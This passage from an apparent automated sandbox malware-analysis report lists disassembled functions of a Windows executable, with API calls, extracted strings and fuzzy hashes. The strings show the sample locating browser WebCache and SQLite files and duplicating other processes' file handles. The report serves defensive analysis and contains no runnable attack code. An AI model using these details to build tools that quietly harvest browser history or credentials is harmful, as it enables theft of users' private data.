                                                                                              • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                            Strings
                                                                                            • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressCloseFolderPathProcSpecialVersionmemsetwcscpy
                                                                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                            • API String ID: 71295984-2036018995
                                                                                            • Opcode ID: f400cfab40eb781a7377af97b809c3f02e1ff83a00fe342fd0a4f0569afe9d8a
                                                                                            • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                            • Opcode Fuzzy Hash: f400cfab40eb781a7377af97b809c3f02e1ff83a00fe342fd0a4f0569afe9d8a
                                                                                            • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                            Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • wcschr.MSVCRT ref: 00414458
                                                                                            • _snwprintf.MSVCRT ref: 0041447D
                                                                                            • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                            • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                            • String ID: "%s"
                                                                                            • API String ID: 1343145685-3297466227
                                                                                            • Opcode ID: aabbe202c5f79078aea71dac5ab2605718744c8b92afc7520f4e067a7367162e
                                                                                            • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                            • Opcode Fuzzy Hash: aabbe202c5f79078aea71dac5ab2605718744c8b92afc7520f4e067a7367162e
                                                                                            • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                            Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                            • GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00413CCF
                                                                                            • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressHandleModuleProcProcessTimes
                                                                                            • String ID: GetProcessTimes$kernel32.dll
                                                                                            • API String ID: 1714573020-3385500049
                                                                                            • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                            • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                            • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                            • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                            Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004087D6
                                                                                              • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                              • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                            • memset.MSVCRT ref: 00408828
                                                                                            • memset.MSVCRT ref: 00408840
                                                                                            • memset.MSVCRT ref: 00408858
                                                                                            • memset.MSVCRT ref: 00408870
                                                                                            • memset.MSVCRT ref: 00408888
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 2911713577-0
                                                                                            • Opcode ID: 6684bba834465d20886231ffe2d62564197a18c1a2325da43f028315e65dbcab
                                                                                            • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                            • Opcode Fuzzy Hash: 6684bba834465d20886231ffe2d62564197a18c1a2325da43f028315e65dbcab
                                                                                            • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                            Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memcmp.MSVCRT(?,?,00000004,?,00000065,004381DF,00000065,00000000,00000007,?,00000000), ref: 0041F202
                                                                                            • memcmp.MSVCRT(?,SQLite format 3,00000010,?,00000065,004381DF,00000065,00000000), ref: 0041F22D
                                                                                            • memcmp.MSVCRT(?,@ ,00000003,?,?,00000065,004381DF,00000065,00000000), ref: 0041F299
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcmp
                                                                                            • String ID: @ $SQLite format 3
                                                                                            • API String ID: 1475443563-3708268960
                                                                                            • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                            • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                            • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                            • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                            Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcsicmpqsort
                                                                                            • String ID: /nosort$/sort
                                                                                            • API String ID: 1579243037-1578091866
                                                                                            • Opcode ID: a0f12cb90dd745c164ef67684cb79943b88980d13b6e843c418957b63f9314a7
                                                                                            • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                            • Opcode Fuzzy Hash: a0f12cb90dd745c164ef67684cb79943b88980d13b6e843c418957b63f9314a7
                                                                                            • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                            Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040E60F
                                                                                            • memset.MSVCRT ref: 0040E629
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                            Strings
                                                                                            • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                            • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memsetwcslen$AttributesFileFolderPathSpecialwcscatwcscpy
                                                                                            • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                            • API String ID: 2887208581-2114579845
                                                                                            • Opcode ID: 45b77cc57d7adabb6b76daf53bfb3be083a41c4971f5e6ab387fbe8a56a2d209
                                                                                            • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                            • Opcode Fuzzy Hash: 45b77cc57d7adabb6b76daf53bfb3be083a41c4971f5e6ab387fbe8a56a2d209
                                                                                            • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                            Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindResourceW.KERNELBASE(?,?,?), ref: 004148C3
                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                            • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Resource$FindLoadLockSizeof
                                                                                            • String ID:
                                                                                            • API String ID: 3473537107-0
                                                                                            • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                            • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                            • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                            • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                            Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ??3@YAXPAX@Z.MSVCRT(021E0048), ref: 0044DF01
                                                                                            • ??3@YAXPAX@Z.MSVCRT(021F0050), ref: 0044DF11
                                                                                            • ??3@YAXPAX@Z.MSVCRT(00B06DB0), ref: 0044DF21
                                                                                            • ??3@YAXPAX@Z.MSVCRT(021F0458), ref: 0044DF31
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??3@
                                                                                            • String ID:
                                                                                            • API String ID: 613200358-0
                                                                                            • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                            • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                                                                                            • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                            • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                                                                                            Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset
                                                                                            • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                            • API String ID: 2221118986-1725073988
                                                                                            • Opcode ID: d115b1de85cb0c2c74241db9f2e26d4ca9f76d3b3ab36ed3aa85b1754c3cbe0d
                                                                                            • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                            • Opcode Fuzzy Hash: d115b1de85cb0c2c74241db9f2e26d4ca9f76d3b3ab36ed3aa85b1754c3cbe0d
                                                                                            • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                            Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ??3@YAXPAX@Z.MSVCRT(?,00000000,00412966,/deleteregkey,/savelangfile,?,?,?,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004125C3
                                                                                            • DeleteObject.GDI32(00000000), ref: 004125E7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??3@DeleteObject
                                                                                            • String ID: r!A
                                                                                            • API String ID: 1103273653-628097481
                                                                                            • Opcode ID: 35011d0761a793af9b86058f165b74ada9e8dfd6de6a99c5cda2ffee1e56a26e
                                                                                            • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                                                                                            • Opcode Fuzzy Hash: 35011d0761a793af9b86058f165b74ada9e8dfd6de6a99c5cda2ffee1e56a26e
                                                                                            • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                                                                                            Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D0CC
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D0EA
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D108
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,0040D142,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D126
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??2@
                                                                                            • String ID:
                                                                                            • API String ID: 1033339047-0
                                                                                            • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                            • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                                                                                            • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                            • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                            Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                            • memcmp.MSVCRT(?,0044EC68,00000010,?,00000000,?), ref: 00444BA5
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$memcmp
                                                                                            • String ID: $$8
                                                                                            • API String ID: 2808797137-435121686
                                                                                            • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                            • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                            • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                            • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                            Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                              • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                              • Part of subcall function 0040E01E: DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                              • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                              • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                              • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                              • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                              • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                              • Part of subcall function 0040E01E: CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                            • CloseHandle.KERNELBASE(000000FF,000000FF,00000000,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E582
                                                                                              • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                              • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                              • Part of subcall function 0040E2AB: memcpy.MSVCRT(?,-00000121,00000008,Function_0004E518,00000000,00000000,756F2EE0), ref: 0040E3EC
                                                                                            • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                            • CloseHandle.KERNEL32(000000FF,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5CA
                                                                                              • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                              • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                              • Part of subcall function 0040E175: free.MSVCRT ref: 0040E28B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                            • String ID:
                                                                                            • API String ID: 1979745280-0
                                                                                            • Opcode ID: db5b060151050967cb8a3560fbfd23956168ef1b290a982d56d7add8c3b4651d
                                                                                            • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                            • Opcode Fuzzy Hash: db5b060151050967cb8a3560fbfd23956168ef1b290a982d56d7add8c3b4651d
                                                                                            • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                            Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                              • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                              • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                              • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                            • memset.MSVCRT ref: 00403A55
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
